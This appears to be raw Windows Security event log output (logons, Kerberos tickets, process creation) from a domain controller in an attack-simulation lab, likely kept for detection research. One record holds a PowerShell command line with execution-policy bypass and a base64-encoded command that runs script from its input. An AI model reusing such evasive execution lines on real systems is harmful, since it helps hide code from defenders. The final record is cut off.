SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251017
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10a0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESDD9B.tmp" "c:\Users\Administrator\AppData\Local\Temp\jfsoqwpx\CSC37409CEF6964210AA7EB6DDB6377B99.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251016
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4a8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\jfsoqwpx\jfsoqwpx.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251015
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x124C43

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251014
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x124C43
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64496

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251013
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x124C43

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251012
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x124BE2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251011
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x124BE2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64495

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251010
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x124BE2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251009
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x124B6A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251008
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x124B6A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64494

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251007
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x124B6A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251006
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x124B09

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251005
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x124B09
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64493

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251004
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x124B09

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251003
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12484A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251002
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12484A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251001
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251000
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250999
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250998
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4a8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250997
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1230AA

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12c8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250996
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1234B5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250995
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1234B5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:36 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250994
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{3EA04D4E-AD15-DC24-C281-8A13AC7C01FE}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
